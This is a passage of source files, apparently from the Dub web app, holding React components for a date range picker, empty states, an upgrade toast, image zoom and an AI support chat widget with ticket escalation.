    "content": "import {\n  DATE_RANGE_INTERVAL_PRESETS,\n  INTERVAL_DISPLAYS,\n} from \"@/lib/analytics/constants\";\nimport { getIntervalData } from \"@/lib/analytics/utils\";\nimport { DateRangePicker, useRouterStuff } from \"@dub/ui\";\n\ntype Values = {\n  start?: string;\n  end?: string;\n  interval?: string;\n};\n\nexport default function SimpleDateRangePicker({\n  className,\n  align = \"center\",\n  defaultInterval = \"30d\",\n  values,\n  disabled,\n  presets,\n}: {\n  className?: string;\n  align?: \"start\" | \"center\" | \"end\";\n  defaultInterval?: string;\n  values?: Values;\n  disabled?: boolean;\n  presets?: (typeof DATE_RANGE_INTERVAL_PRESETS)[number][];\n}) {\n  const { queryParams, searchParamsObj } = useRouterStuff();\n  const { start, end, interval } = values ?? (searchParamsObj as Values);\n\n  return (\n    <DateRangePicker\n      className={className}\n      align={align}\n      value={\n        start && end\n          ? {\n              from: new Date(start),\n              to: new Date(end),\n            }\n          : undefined\n      }\n      presetId={!start || !end ? interval ?? defaultInterval : undefined}\n      onChange={(range, preset) => {\n        if (preset) {\n          queryParams({\n            del: [\"start\", \"end\"],\n            set: {\n              interval: preset.id,\n            },\n            scroll: false,\n          });\n\n          return;\n        }\n\n        // Regular range\n        if (!range || !range.from || !range.to) return;\n\n        queryParams({\n          del: \"interval\",\n          set: {\n            start: range.from.toISOString(),\n            end: range.to.toISOString(),\n          },\n          scroll: false,\n        });\n      }}\n      presets={(presets\n        ? INTERVAL_DISPLAYS.filter(({ value }) =>\n            (presets as string[]).includes(value),\n          )\n        : INTERVAL_DISPLAYS\n      ).map(({ display, value, shortcut }) => {\n        const { startDate, endDate } = getIntervalData(value, {\n          timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,\n        });\n\n        return {\n          id: value,\n          label: display,\n          dateRange: {\n            from: startDate,\n            to: endDate,\n          },\n          shortcut,\n        };\n      })}\n      disabled={disabled}\n    />\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/shared/simple-empty-state.tsx",
    "content": "\"use client\";\n\nimport { Badge, buttonVariants } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { ReactNode } from \"react\";\n\nexport function SimpleEmptyState({\n  title,\n  description,\n  graphic,\n  addButton,\n  pillContent,\n  learnMoreHref,\n  learnMoreClassName,\n  learnMoreText,\n  className,\n}: {\n  title: string;\n  description: string;\n  graphic?: ReactNode;\n  addButton?: ReactNode;\n  pillContent?: string;\n  learnMoreHref?: string;\n  learnMoreClassName?: string;\n  learnMoreText?: string;\n  className?: string;\n}) {\n  return (\n    <div\n      className={cn(\n        \"flex flex-col items-center justify-center gap-6 px-4 py-10 md:min-h-[calc(100vh-10rem)]\",\n        className,\n      )}\n    >\n      {graphic && <div className=\"flex flex-col items-center\">{graphic}</div>}\n      {pillContent && <Badge variant=\"blueGradient\">{pillContent}</Badge>}\n      <div className=\"max-w-[350px] text-pretty text-center\">\n        <span className=\"text-base font-medium text-neutral-900\">{title}</span>\n        <p className=\"mt-2 text-pretty text-sm text-neutral-500\">\n          {description}\n        </p>\n      </div>\n      <div className=\"flex items-center gap-2\">\n        {addButton}\n        {learnMoreHref && (\n          <Link\n            href={learnMoreHref}\n            target=\"_blank\"\n            className={cn(\n              buttonVariants({ variant: addButton ? \"secondary\" : \"primary\" }),\n              \"flex h-9 items-center whitespace-nowrap rounded-lg border px-4 text-sm\",\n              learnMoreClassName,\n            )}\n          >\n            {learnMoreText || \"Learn more\"}\n          </Link>\n        )}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/shared/upgrade-required-toast.tsx",
    "content": "\"use client\";\n\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { capitalize } from \"@dub/utils\";\nimport { Crown } from \"lucide-react\";\nimport Link from \"next/link\";\n\nexport const UpgradeRequiredToast = ({\n  title,\n  planToUpgradeTo,\n  message,\n  ctaLabel,\n  ctaUrl,\n}: {\n  title?: string;\n  planToUpgradeTo?: string;\n  message: string;\n  ctaLabel?: string;\n  ctaUrl?: string;\n}) => {\n  const { slug, nextPlan } = useWorkspace();\n  planToUpgradeTo = planToUpgradeTo || nextPlan?.name;\n\n  // Defaults\n  const defaultCtaLabel = planToUpgradeTo\n    ? `Upgrade to ${capitalize(planToUpgradeTo)}`\n    : \"Contact support\";\n\n  const defaultCtaUrl = slug ? `/${slug}/upgrade` : \"https://dub.co/pricing\";\n\n  return (\n    <div className=\"flex flex-col space-y-3 rounded-lg bg-white p-6 shadow-lg\">\n      <div className=\"flex items-center space-x-1.5\">\n        <Crown className=\"h-5 w-5 text-black\" />\n        <p className=\"font-semibold\">\n          {title ||\n            `You've discovered a ${capitalize(planToUpgradeTo)} feature!`}\n        </p>\n      </div>\n      <p className=\"text-sm text-neutral-600\">{message}</p>\n      <Link\n        href={ctaUrl || defaultCtaUrl}\n        target=\"_blank\"\n        className=\"w-full rounded-md border border-black bg-black px-3 py-1.5 text-center text-sm text-white transition-all hover:bg-neutral-800 hover:ring-4 hover:ring-neutral-200\"\n      >\n        {ctaLabel || defaultCtaLabel}\n      </Link>\n    </div>\n  );\n};\n"
  },
  {
    "path": "apps/web/ui/shared/zoom-image.tsx",
    "content": "\"use client\";\n\nimport Zoom from \"react-medium-image-zoom\";\nimport \"react-medium-image-zoom/dist/styles.css\";\n\nexport function ZoomImage(\n  props: React.DetailedHTMLProps<\n    React.ImgHTMLAttributes<HTMLImageElement>,\n    HTMLImageElement\n  >,\n) {\n  return (\n    <Zoom\n      zoomMargin={45}\n      zoomImg={{ ...props, className: \"rounded-lg border border-gray-200\" }}\n    >\n      <img {...props} className=\"rounded-lg border border-gray-200\" />\n    </Zoom>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/support/chat-bubble.tsx",
    "content": "\"use client\";\n\nimport { Tooltip } from \"@dub/ui\";\nimport { MsgsFill, Xmark } from \"@dub/ui/icons\";\nimport { AnimatePresence, motion } from \"motion/react\";\nimport { useSession } from \"next-auth/react\";\nimport { useEffect, useRef, useState } from \"react\";\nimport { ChatInterface } from \"./chat-interface\";\nimport { ClearChatButton } from \"./clear-chat-button\";\n\nexport function SupportChatBubble() {\n  const { data: session } = useSession();\n  const [isOpen, setIsOpen] = useState(false);\n  const [resetKey, setResetKey] = useState(0);\n  const panelRef = useRef<HTMLDivElement>(null);\n\n  const handleClose = () => setIsOpen(false);\n  const handleOpen = () => setIsOpen(true);\n  const handleReset = () => {\n    if (session?.user?.[\"id\"]) {\n      try {\n        localStorage.removeItem(`dub-support-chat:${session.user[\"id\"]}`);\n      } catch {}\n    }\n    setResetKey((k) => k + 1);\n  };\n\n  useEffect(() => {\n    if (window.parent === window) return;\n    window.parent.postMessage({ type: \"dub-support-chat\", isOpen }, \"*\");\n  }, [isOpen]);\n\n  return (\n    <div className=\"pointer-events-none fixed bottom-0 right-0 z-50 flex flex-col items-end p-3 sm:p-6\">\n      <AnimatePresence>\n        {isOpen && (\n          <motion.div\n            ref={panelRef}\n            initial={{ opacity: 0, y: 16, scale: 0.97 }}\n            animate={{ opacity: 1, y: 0, scale: 1 }}\n            exit={{ opacity: 0, y: 16, scale: 0.97 }}\n            transition={{ duration: 0.2, ease: [0.16, 1, 0.3, 1] }}\n            className=\"pointer-events-auto mb-4 flex h-[660px] max-h-[calc(100vh-6rem)] w-[calc(100vw-2rem)] flex-col overflow-hidden rounded-2xl bg-white shadow-xl shadow-neutral-900/15 sm:w-[560px]\"\n          >\n            <div className=\"flex shrink-0 items-center justify-between bg-neutral-900 px-4 py-3\">\n              <div className=\"flex items-center gap-2.5\">\n                <img\n                  src=\"https://assets.dub.co/misc/dub-avatar.svg\"\n                  alt=\"Dub Support\"\n                  className=\"size-7 rounded-full\"\n                  draggable={false}\n                />\n                <p className=\"text-sm font-semibold leading-none text-white\">\n                  Dub Support\n                </p>\n              </div>\n\n              <div className=\"flex items-center gap-0.5\">\n                <ClearChatButton\n                  onConfirm={handleReset}\n                  triggerClassName=\"size-7 text-neutral-400 hover:bg-white/10 hover:text-white\"\n                  iconClassName=\"size-3.5\"\n                />\n                <Tooltip content=\"Close\">\n                  <button\n                    type=\"button\"\n                    onClick={handleClose}\n                    className=\"flex size-7 items-center justify-center rounded-lg text-neutral-400 transition-colors hover:bg-white/10 hover:text-white\"\n                    aria-label=\"Close chat\"\n                  >\n                    <Xmark className=\"size-3.5\" />\n                  </button>\n                </Tooltip>\n              </div>\n            </div>\n\n            <ChatInterface\n              key={resetKey}\n              onReset={handleReset}\n              className=\"h-full overflow-hidden\"\n            />\n          </motion.div>\n        )}\n      </AnimatePresence>\n\n      <button\n        type=\"button\"\n        onClick={isOpen ? handleClose : handleOpen}\n        className=\"pointer-events-auto relative flex size-14 items-center justify-center rounded-full bg-neutral-900 shadow-lg shadow-neutral-900/30 transition-all duration-200 hover:scale-105 hover:shadow-xl hover:shadow-neutral-900/30 active:scale-95\"\n        aria-label={isOpen ? \"Close support chat\" : \"Open support chat\"}\n      >\n        <AnimatePresence mode=\"wait\">\n          {isOpen ? (\n            <motion.div\n              key=\"close\"\n              initial={{ opacity: 0, rotate: -90 }}\n              animate={{ opacity: 1, rotate: 0 }}\n              exit={{ opacity: 0, rotate: 90 }}\n              transition={{ duration: 0.15 }}\n            >\n              <Xmark className=\"size-5 text-white\" />\n            </motion.div>\n          ) : (\n            <motion.div\n              key=\"chat\"\n              initial={{ opacity: 0, scale: 0.8 }}\n              animate={{ opacity: 1, scale: 1 }}\n              exit={{ opacity: 0, scale: 0.8 }}\n              transition={{ duration: 0.15 }}\n            >\n              <MsgsFill className=\"size-5 text-white\" />\n            </motion.div>\n          )}\n        </AnimatePresence>\n      </button>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/support/chat-interface.tsx",
    "content": "\"use client\";\n\nimport { GlobalChatContext } from \"@/lib/ai/build-system-prompt\";\nimport useProgramEnrollments from \"@/lib/swr/use-program-enrollments\";\nimport { useChat } from \"@ai-sdk/react\";\nimport { Combobox } from \"@dub/ui\";\nimport { OfficeBuilding, PaperPlane, Users2 } from \"@dub/ui/icons\";\nimport { cn, fetcher, OG_AVATAR_URL } from \"@dub/utils\";\nimport { DefaultChatTransport } from \"ai\";\nimport { useSession } from \"next-auth/react\";\nimport { useEffect, useRef, useState } from \"react\";\nimport TextareaAutosize from \"react-textarea-autosize\";\nimport { toast } from \"sonner\";\nimport { Streamdown } from \"streamdown\";\nimport \"streamdown/styles.css\";\nimport useSWR from \"swr\";\nimport { MarkdownCodeBlock } from \"./code-block\";\nimport { SupportMessage } from \"./message\";\nimport { ProgramCombobox, ProgramSummary } from \"./program-combobox\";\nimport { extractSources, SourceCitations } from \"./source-citations\";\nimport { StarterQuestions } from \"./starter-questions\";\nimport { StatusIndicator } from \"./status-indicator\";\nimport { TicketUpload } from \"./ticket-upload\";\nimport { WorkspaceCombobox, WorkspaceSummary } from \"./workspace-combobox\";\n\ntype AccountType = \"workspace\" | \"partner\";\n\nexport function ChatInterface({\n  className,\n  embedded,\n  onReset,\n}: {\n  className?: string;\n  embedded?: boolean;\n  onReset?: () => void;\n}) {\n  const { data: session, status: sessionStatus } = useSession();\n  const scrollContainerRef = useRef<HTMLDivElement>(null);\n  const textareaRef = useRef<HTMLTextAreaElement>(null);\n  const [input, setInput] = useState(\"\");\n  const [ticketSubmitted, setTicketSubmitted] = useState(false);\n  const [selection, setSelection] = useState<GlobalChatContext>({});\n\n  const storageKey = session?.user?.[\"id\"]\n    ? `dub-support-chat:${session.user[\"id\"]}`\n    : null;\n  const restoredRef = useRef(false);\n\n  const effectiveAccountType = selection.accountType;\n\n  const { data: workspaces } = useSWR<WorkspaceSummary[]>(\n    effectiveAccountType === \"workspace\" ? \"/api/workspaces\" : null,\n    fetcher,\n  );\n\n  const { programEnrollments, isLoading: isLoadingPrograms } =\n    useProgramEnrollments();\n  const hasPartnerProfile = !!session?.user?.[\"defaultPartnerId\"];\n\n  let canChat: boolean;\n  if (effectiveAccountType === \"workspace\")\n    canChat = !!selection.selectedWorkspace;\n  else if (effectiveAccountType === \"partner\")\n    canChat = !!selection.selectedProgram;\n  else canChat = false;\n\n  const { messages, sendMessage, status, setMessages } = useChat({\n    transport: new DefaultChatTransport({\n      api: \"/api/ai/support-chat\",\n    }),\n    onError: (err) => {\n      toast.error(err.message || \"Something went wrong. Please try again.\");\n    },\n  });\n\n  useEffect(() => {\n    if (embedded) return;\n\n    const container = scrollContainerRef.current;\n    if (!container) return;\n\n    container.scrollTo({ top: container.scrollHeight, behavior: \"smooth\" });\n  }, [messages, status, embedded]);\n\n  useEffect(() => {\n    if (status === \"ready\") {\n      textareaRef.current?.focus();\n    }\n  }, [status]);\n\n  useEffect(() => {\n    if (!storageKey || restoredRef.current) return;\n    restoredRef.current = true;\n\n    try {\n      const raw = localStorage.getItem(storageKey);\n      if (!raw) return;\n\n      const stored = JSON.parse(raw);\n      if (stored.selection) setSelection(stored.selection);\n      if (stored.messages?.length) setMessages(stored.messages);\n      if (stored.ticketSubmitted) setTicketSubmitted(true);\n    } catch {}\n  }, [storageKey, setMessages]);\n\n  useEffect(() => {\n    if (!storageKey || !restoredRef.current) return;\n\n    try {\n      const raw = localStorage.getItem(storageKey);\n      const stored = raw ? JSON.parse(raw) : {};\n      localStorage.setItem(\n        storageKey,\n        JSON.stringify({ ...stored, selection }),\n      );\n    } catch {}\n  }, [selection, storageKey]);\n\n  useEffect(() => {\n    if (!storageKey || !restoredRef.current || status === \"streaming\") return;\n\n    try {\n      const raw = localStorage.getItem(storageKey);\n      const stored = raw ? JSON.parse(raw) : {};\n      localStorage.setItem(\n        storageKey,\n        JSON.stringify({ ...stored, messages, ticketSubmitted }),\n      );\n    } catch {}\n  }, [messages, ticketSubmitted, status, storageKey]);\n\n  const clearPersistedSession = () => {\n    if (storageKey) {\n      try {\n        localStorage.removeItem(storageKey);\n      } catch {}\n    }\n  };\n\n  const handleSend = (text?: string) => {\n    const messageText = text ?? input;\n    if (!messageText.trim() || status === \"streaming\" || !canChat) return;\n    sendMessage(\n      { text: messageText },\n      {\n        body: {\n          globalContext: {\n            ...selection,\n            chatLocation:\n              effectiveAccountType === \"partner\" ? \"partners\" : \"app\",\n            accountType: effectiveAccountType,\n          },\n        },\n      },\n    );\n    setInput(\"\");\n    textareaRef.current?.focus();\n  };\n\n  const handleEscalateViaForm = (\n    attachmentIds: string[] = [],\n    details: string = \"\",\n  ) => {\n    sendMessage(\n      { text: \"Please create my support ticket now.\" },\n      {\n        body: {\n          globalContext: {\n            ...selection,\n            chatLocation:\n              effectiveAccountType === \"partner\" ? \"partners\" : \"app\",\n            accountType: effectiveAccountType,\n          },\n          ...(attachmentIds.length ? { attachmentIds } : {}),\n          ...(details ? { ticketDetails: details } : {}),\n        },\n      },\n    );\n    setTicketSubmitted(true);\n  };\n\n  const handleAccountTypeChange = (type: AccountType) => {\n    setSelection({ accountType: type });\n    setMessages([]);\n  };\n\n  const handleWorkspaceSelect = (ws: WorkspaceSummary) => {\n    if (selection.selectedWorkspace?.slug !== ws.slug) setMessages([]);\n    setSelection((s) => ({\n      ...s,\n      selectedWorkspace: { id: ws.id, slug: ws.slug, name: ws.name },\n    }));\n  };\n\n  const handleProgramSelect = (program: ProgramSummary) => {\n    if (selection.selectedProgram?.slug !== program.slug) setMessages([]);\n    setSelection((s) => ({\n      ...s,\n      selectedProgram: {\n        id: program.id,\n        slug: program.slug,\n        name: program.name,\n      },\n    }));\n  };\n\n  const accountTypeOptions = [\n    {\n      value: \"workspace\",\n      label: \"Workspace (app.dub.co)\",\n      icon: <OfficeBuilding className=\"size-3.5 shrink-0\" />,\n    },\n    {\n      value: \"partner\",\n      label: \"Partner (partners.dub.co)\",\n      icon: <Users2 className=\"size-3.5 shrink-0\" />,\n    },\n  ];\n\n  const requiresAuth = true;\n  const isLoadingSession = requiresAuth && sessionStatus === \"loading\";\n  const isUnauthenticated = requiresAuth && sessionStatus === \"unauthenticated\";\n\n  const userAvatar =\n    session?.user?.image || `${OG_AVATAR_URL}${session?.user?.email}`;\n  const assistantAvatar = embedded\n    ? \"https://assets.dub.co/misc/dub-avatar.svg\"\n    : undefined;\n  const showStarterQuestions = canChat && messages.length === 0;\n  const hasRequestedTicket = messages.some((m) =>\n    m.parts?.some((p: any) => p.type === \"tool-requestSupportTicket\"),\n  );\n  const canEscalate =\n    canChat &&\n    messages.length >= 2 &&\n    status === \"ready\" &&\n    !ticketSubmitted &&\n    !hasRequestedTicket;\n\n  if (isLoadingSession) {\n    return (\n      <div\n        className={cn(\n          \"flex h-full flex-col items-center justify-center gap-3 p-6\",\n          className,\n        )}\n      >\n        <div className=\"size-8 animate-pulse rounded-full bg-neutral-200\" />\n        <div className=\"h-3 w-32 animate-pulse rounded bg-neutral-200\" />\n      </div>\n    );\n  }\n\n  if (isUnauthenticated) {\n    return (\n      <div\n        className={cn(\n          \"flex h-full flex-col items-center justify-center gap-4 p-8 text-center\",\n          className,\n        )}\n      >\n        <img\n          src=\"https://assets.dub.co/misc/dub-avatar.svg\"\n          alt=\"Dub Support\"\n          className=\"size-12 rounded-full\"\n          draggable={false}\n        />\n        <div>\n          <p className=\"text-sm font-medium text-neutral-800\">\n            Please log in to chat with Dub support\n          </p>\n          <p className=\"mt-1 text-xs text-neutral-500\">\n            You need a Dub account to access support.\n          </p>\n        </div>\n        <a\n          href=\"https://app.dub.co/login\"\n          target=\"_blank\"\n          rel=\"noopener noreferrer\"\n          className=\"rounded-lg bg-neutral-900 px-4 py-2 text-sm font-medium text-white transition-colors hover:bg-neutral-700\"\n        >\n          Log in to Dub ↗\n        </a>\n      </div>\n    );\n  }\n\n  return (\n    <div className={cn(\"flex h-full flex-col\", className)}>\n      <div\n        ref={scrollContainerRef}\n        className={cn(\n          \"flex flex-1 flex-col gap-6 p-4\",\n          embedded ? \"overflow-visible\" : \"overflow-y-auto\",\n        )}\n      >\n        <SupportMessage avatar={assistantAvatar} animate={false}>\n          <p className=\"text-sm text-neutral-700\">\n            Hi there! I'm Dub's AI support assistant. Which account would you\n            like help with today?\n          </p>\n          <div className=\"mt-3 w-full max-w-72\">\n            <Combobox\n              forceDropdown\n              selected={\n                accountTypeOptions.find(\n                  (o) => o.value === effectiveAccountType,\n                ) ?? null\n              }\n              setSelected={(opt) => {\n                if (opt && opt.value !== effectiveAccountType)\n                  handleAccountTypeChange(opt.value as AccountType);\n              }}\n              options={accountTypeOptions}\n              icon={\n                accountTypeOptions.find((o) => o.value === effectiveAccountType)\n                  ?.icon\n              }\n              caret\n              placeholder=\"Select account type\"\n              hideSearch\n              matchTriggerWidth\n              popoverProps={{\n                contentClassName: \"w-[var(--radix-popover-trigger-width)]\",\n              }}\n              buttonProps={{\n                className: cn(\n                  \"w-full max-w-72 justify-start border-neutral-300 px-2.5 h-9 text-sm\",\n                  \"data-[state=open]:ring-1 data-[state=open]:ring-neutral-500 data-[state=open]:border-neutral-500\",\n                  \"focus:ring-1 focus:ring-neutral-500 focus:border-neutral-500 transition-none\",\n                ),\n              }}\n              labelProps={{ className: \"text-sm text-neutral-600\" }}\n              optionClassName=\"h-8\"\n            />\n          </div>\n        </SupportMessage>\n\n        {effectiveAccountType === \"workspace\" && (\n          <SupportMessage avatar={assistantAvatar} animate>\n            <p className=\"text-sm text-neutral-700\">\n              Which workspace is this about?\n            </p>\n            <div className=\"mt-3 w-full max-w-72\">\n              <WorkspaceCombobox\n                workspaces={workspaces}\n                selectedSlug={selection.selectedWorkspace?.slug}\n                onSelect={handleWorkspaceSelect}\n              />\n            </div>\n          </SupportMessage>\n        )}\n\n        {effectiveAccountType === \"partner\" && (\n          <SupportMessage avatar={assistantAvatar} animate>\n            {!hasPartnerProfile ? (\n              <>\n                <p className=\"text-sm text-neutral-700\">\n                  It looks like you don't have a partner account linked to your\n                  profile.\n                </p>\n                <a\n                  href=\"https://partners.dub.co\"\n                  target=\"_blank\"\n                  rel=\"noopener noreferrer\"\n                  className=\"mt-3 inline-flex items-center gap-1 rounded-lg border border-neutral-200 bg-white px-3 py-1.5 text-xs font-medium text-neutral-600 shadow-sm transition-colors hover:bg-neutral-50\"\n                >\n                  Go to partners.dub.co ↗\n                </a>\n              </>\n            ) : (\n              <>\n                <p className=\"text-sm text-neutral-700\">\n                  Which program is this about?\n                </p>\n                <div className=\"mt-3 w-full max-w-72\">\n                  <ProgramCombobox\n                    enrollments={programEnrollments}\n                    isLoading={isLoadingPrograms}\n                    selectedSlug={selection.selectedProgram?.slug}\n                    onSelect={handleProgramSelect}\n                  />\n                </div>\n              </>\n            )}\n          </SupportMessage>\n        )}\n\n        {showStarterQuestions && (\n          <SupportMessage avatar={assistantAvatar} animate>\n            <p className=\"text-sm text-neutral-700\">\n              How can I help you today?\n            </p>\n            {effectiveAccountType !== \"partner\" && (\n              <StarterQuestions\n                context=\"app\"\n                onSelect={handleSend}\n                className=\"mt-3\"\n              />\n            )}\n          </SupportMessage>\n        )}\n\n        {canChat &&\n          messages.map((message, index) => {\n            const isUser = message.role === \"user\";\n\n            if (isUser) {\n              const textContent = message.parts\n                .filter((p) => p.type === \"text\")\n                .map((p) => (p as { type: \"text\"; text: string }).text)\n                .join(\"\\n\\n\");\n              if (!textContent) return null;\n              return (\n                <SupportMessage\n                  key={message.id}\n                  avatar={userAvatar}\n                  isUser\n                  animate\n                >\n                  <p className=\"text-sm\">{textContent}</p>\n                </SupportMessage>\n              );\n            }\n\n            // --- Assistant message ---\n            const isCurrentlyStreaming =\n              status === \"streaming\" && index === messages.length - 1;\n            const sources = !isCurrentlyStreaming\n              ? extractSources(\n                  message.parts as { type: string; [key: string]: unknown }[],\n                )\n              : [];\n\n            const hasTextPart = message.parts?.some(\n              (p: any) => p.type === \"text\" && p.text,\n            );\n            const hasTicketForm = message.parts?.some(\n              (p: any) =>\n                p.type === \"tool-requestSupportTicket\" &&\n                p.state === \"output-available\",\n            );\n            const hasVisibleContent = hasTextPart || hasTicketForm;\n\n            if (!hasVisibleContent && !message.parts?.length) return null;\n\n            return (\n              <SupportMessage key={message.id} avatar={assistantAvatar} animate>\n                {!hasVisibleContent ? (\n                  (() => {\n                    const isCreatingTicket = message.parts?.some(\n                      (p: any) =>\n                        p.type === \"tool-createSupportTicket\" &&\n                        p.state === \"input-available\",\n                    );\n                    const isSearching = message.parts?.some(\n                      (p: any) =>\n                        p.type === \"tool-findRelevantDocs\" &&\n                        p.state !== \"output-available\",\n                    );\n                    return (\n                      <StatusIndicator\n                        label={\n                          isCreatingTicket\n                            ? \"Creating your ticket...\"\n                            : isSearching\n                              ? \"Searching docs...\"\n                              : \"Thinking...\"\n                        }\n                        className=\"py-0.5\"\n                      />\n                    );\n                  })()\n                ) : (\n                  <div className=\"flex flex-col gap-3\">\n                    {message.parts?.map((part: any, partIndex: number) => {\n                      if (part.type === \"text\" && part.text) {\n                        return (\n                          <Streamdown\n                            key={partIndex}\n                            isAnimating={isCurrentlyStreaming}\n                            className=\"text-content-emphasis\"\n                            controls={false}\n                            components={{\n                              h1: () => null,\n                              h2: () => null,\n                              h3: () => null,\n                              h4: () => null,\n                              h5: () => null,\n                              h6: () => null,\n                              a: ({ children, href }) => (\n                                <a\n                                  href={href}\n                                  target=\"_blank\"\n                                  rel=\"noopener noreferrer\"\n                                  className=\"cursor-help font-medium text-neutral-900 underline decoration-dotted underline-offset-2 hover:text-neutral-600\"\n                                >\n                                  {children}\n                                </a>\n                              ),\n                              ul: ({ children }) => (\n                                <ul className=\"list-outside list-disc pl-6\">\n                                  {children}\n                                </ul>\n                              ),\n                              ol: ({ children }) => (\n                                <ol className=\"list-outside list-decimal pl-6\">\n                                  {children}\n                                </ol>\n                              ),\n                              code: MarkdownCodeBlock,\n                            }}\n                          >\n                            {part.text}\n                          </Streamdown>\n                        );\n                      }\n\n                      if (\n                        part.type === \"tool-requestSupportTicket\" &&\n                        part.state === \"output-available\"\n                      ) {\n                        return (\n                          <div\n                            key={partIndex}\n                            className=\"rounded-xl border border-neutral-200 pt-3\"\n                          >\n                            <TicketUpload\n                              onSubmit={(ids, details) =>\n                                handleEscalateViaForm(ids, details)\n                              }\n                              submitted={ticketSubmitted}\n                            />\n                          </div>\n                        );\n                      }\n\n                      return null;\n                    })}\n                    <SourceCitations sources={sources} />\n                  </div>\n                )}\n              </SupportMessage>\n            );\n          })}\n\n        {status === \"submitted\" && (\n          <SupportMessage avatar={assistantAvatar}>\n            <StatusIndicator label=\"Thinking...\" className=\"py-0.5\" />\n          </SupportMessage>\n        )}\n        <div />\n      </div>\n\n      {ticketSubmitted ? (\n        <div className=\"shrink-0 border-t border-neutral-100 bg-neutral-50 px-4 py-4 text-center\">\n          <p className=\"text-sm font-medium text-neutral-700\">\n            Your ticket has been submitted.\n          </p>\n          <p className=\"mt-0.5 text-xs text-neutral-500\">\n            To ask more questions, please start a new session.\n          </p>\n          <button\n            type=\"button\"\n            onClick={() => {\n              clearPersistedSession();\n              (onReset ?? (() => window.location.reload()))();\n            }}\n            className=\"mt-3 rounded-lg bg-neutral-900 px-4 py-1.5 text-xs font-medium text-white transition-colors hover:bg-neutral-700\"\n          >\n            Start new session\n          </button>\n        </div>\n      ) : hasRequestedTicket ? null : (\n        <div className=\"shrink-0 border-t border-neutral-100 bg-white p-3\">\n          <div className=\"relative\">\n            <TextareaAutosize\n              ref={textareaRef}\n              minRows={3}\n              maxRows={6}\n              placeholder={\n                !canChat\n                  ? \"Select an account above to start chatting...\"\n                  : effectiveAccountType === \"partner\"\n                    ? \"Ask about payouts, referrals, or commissions...\"\n                    : \"Ask about links, analytics, or your account...\"\n              }\n              value={input}\n              disabled={\n                !canChat || status === \"streaming\" || status === \"submitted\"\n              }\n              onChange={(e) => setInput(e.target.value)}\n              onKeyDown={(e) => {\n                if (e.key === \"Enter\" && !e.shiftKey) {\n                  e.preventDefault();\n                  handleSend();\n                }\n              }}\n              className={cn(\n                \"w-full resize-none rounded-xl border border-neutral-200 py-2.5 pl-3 pr-[72px] text-sm text-neutral-900 placeholder-neutral-400 shadow-sm transition-colors\",\n                \"focus:border-neutral-400 focus:outline-none focus:ring-2 focus:ring-neutral-200 disabled:cursor-not-allowed disabled:bg-neutral-50 disabled:opacity-60\",\n              )}\n            />\n            <button\n              type=\"button\"\n              onClick={() => handleSend()}\n              disabled={\n                !canChat ||\n                status === \"streaming\" ||\n                status === \"submitted\" ||\n                !input.trim()\n              }\n              className={cn(\n                \"absolute bottom-4 right-3 flex size-8 items-center justify-center rounded-full transition-all\",\n                canChat && input.trim() && status === \"ready\"\n                  ? \"bg-neutral-900 text-white hover:bg-neutral-700\"\n                  : \"cursor-not-allowed bg-neutral-200 text-neutral-400\",\n              )}\n              aria-label=\"Send message\"\n            >\n              <PaperPlane className=\"size-4\" />\n            </button>\n          </div>\n\n          <div className=\"mt-px flex flex-col items-center gap-1\">\n            <p className=\"text-center text-xs text-neutral-400\">\n              AI may make mistakes. Verify important information.\n            </p>\n            {canEscalate && (\n              <button\n                type=\"button\"\n                onClick={() =>\n                  handleSend(\n                    \"I'd like to create a support ticket and speak with a human agent.\",\n                  )\n                }\n                className=\"text-xs font-medium text-neutral-500 underline decoration-dotted underline-offset-2 hover:text-neutral-700\"\n              >\n                Convert to support ticket →\n              </button>\n            )}\n          </div>\n        </div>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/support/clear-chat-button.tsx",
    "content": "\"use client\";\n\nimport { Popover } from \"@dub/ui\";\nimport { Trash } from \"@dub/ui/icons\";\nimport { cn } from \"@dub/utils\";\nimport { useState } from \"react\";\n\nexport function ClearChatButton({\n  onConfirm,\n  triggerClassName,\n  iconClassName,\n}: {\n  onConfirm: () => void;\n  triggerClassName?: string;\n  iconClassName?: string;\n}) {\n  const [open, setOpen] = useState(false);\n\n  return (\n    <Popover\n      openPopover={open}\n      setOpenPopover={setOpen}\n      side=\"bottom\"\n      align=\"end\"\n      forceDropdown\n      content={\n        <div className=\"p-3\">\n          <p className=\"text-sm font-medium text-neutral-800\">\n            Start a new conversation?\n          </p>\n          <p className=\"mt-0.5 text-xs text-neutral-500\">\n            Your current messages and selections will be cleared.\n          </p>\n          <div className=\"mt-3 flex items-center justify-end gap-2\">\n            <button\n              type=\"button\"\n              onClick={() => setOpen(false)}\n              className=\"rounded-md px-2.5 py-1.5 text-xs font-medium text-neutral-600 transition-colors hover:bg-neutral-100\"\n            >\n              Cancel\n            </button>\n            <button\n              type=\"button\"\n              onClick={() => {\n                setOpen(false);\n                onConfirm();\n              }}\n              className=\"rounded-md bg-red-600 px-2.5 py-1.5 text-xs font-medium text-white transition-colors hover:bg-red-700\"\n            >\n              Clear\n            </button>\n          </div>\n        </div>\n      }\n    >\n      <button\n        type=\"button\"\n        className={cn(\n          \"flex items-center justify-center rounded-lg transition-colors\",\n          triggerClassName,\n        )}\n        aria-label=\"Clear chat\"\n      >\n        <Trash className={cn(\"shrink-0\", iconClassName)} />\n      </button>\n    </Popover>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/support/code-block.tsx",
